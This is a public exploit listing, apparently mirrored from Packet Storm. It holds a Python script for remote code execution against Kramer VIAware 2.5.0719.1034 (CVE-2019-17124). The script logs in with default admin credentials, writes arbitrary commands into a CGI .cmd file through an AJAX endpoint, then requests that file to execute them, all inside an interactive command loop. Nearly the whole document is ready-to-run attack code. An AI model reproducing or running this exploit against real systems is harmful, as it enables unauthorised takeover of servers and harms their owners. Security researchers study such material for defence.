Share
## https://sploitus.com/exploit?id=PACKETSTORM:166541
# Exploit Title: Kramer VIAware 2.5.0719.1034 - Remote Code Execution (RCE)  
# Date: 28/03/2022  
# Exploit Author: sharkmoos & BallO  
# Vendor Homepage: https://www.kramerav.com/  
# Software Link: https://www.kramerav.com/us/product/viaware  
# Version: 2.5.0719.1034  
# Tested on: ViaWare Go (Windows 10)  
# CVE : CVE-2019-17124  
  
import requests, sys, urllib3  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
def adminLogin(s, host, username, password):  
headers = {  
"Host": f"{host}",  
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",  
"Accept-Language": "en-GB,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "application/x-www-form-urlencoded",  
"Origin": f"https://{host}",  
"Referer": f"https://{host}/admin/login.php",  
"Upgrade-Insecure-Requests": "1",  
"Sec-Fetch-Dest": "document",  
"Sec-Fetch-Mode": "navigate",  
"Sec-Fetch-Site": "same-origin",  
"Sec-Fetch-User": "?1",  
"Sec-Gpc": "1",  
"Te": "trailers",  
"Connection": "close"  
}  
data = {  
"txtUserId": username,  
"txtPwd": password,  
"btnOk" :"Login"  
}  
response = s.post(f"https://{host}/admin/login.php", verify=False)  
if len(s.cookies) < 1:  
return False  
else:  
return True  
  
  
def writeCommand(session, host, command):  
headers = {  
"Host": f"{host}",  
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",  
"Accept": "text/html, */*",  
"Accept-Language": "en-GB,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "application/x-www-form-urlencoded",  
"X-Requested-With": "XMLHttpRequest",  
"Origin": f"https://{host}",  
"Referer": f"https://{host}/browseSystemFiles.php?path=C:\Windows&icon=browser",  
"Sec-Fetch-Dest": "empty",  
"Sec-Fetch-Mode": "cors",  
"Sec-Fetch-Site": "same-origin",  
"Sec-Gpc": "1",  
"Te": "trailers",  
"Connection": "close"  
}  
data = {  
"radioBtnVal":f"{command}",  
"associateFileName": "C:/tc/httpd/cgi-bin/exploit.cmd"  
}  
session.post(f"https://{host}/ajaxPages/writeBrowseFilePathAjax.php", headers=headers, data=data)  
  
  
def getResult(session, host):  
file = session.get(f"https://{host}/cgi-bin/exploit.cmd", verify=False)  
pageText = file.text  
if len(pageText) < 1:  
result = "Command did not return a result"  
else:  
result = pageText  
return result  
  
  
  
def main(host, username="su", password="supass"):  
s = requests.Session()  
# comment this line to skip the login stage   
loggedIn = adminLogin(s, host, username, password)  
  
if not loggedIn:  
print("Could not successfully login as the admin")  
sys.exit(1)  
else:  
pass  
  
command = ""  
while command != "exit":  
command = input("cmd:> ").strip()  
writeCommand(s, host, command)  
print(getResult(s, host))  
exit()  
  
if __name__ == "__main__":  
  
args = sys.argv  
numArgs = len(args)  
if numArgs < 2:  
print(f"Run script in format:\n\n\tpython3 {args[0]} target\n")  
print(f"[Optional] Provide Admin Credentials\n\n\tpython3 {args[0]} target su supass")  
if numArgs == 2:  
main(args[1])  
if numArgs == 4:  
main(args[1], args[2], args[3])  
if numArgs > 4:  
print(f"Run script in format:\n\n\tpython3 {args[0]} target\n")  
print(f"[Optional] Provide Admin Credentials\n\n\tpython3 {args[0]} target su supass")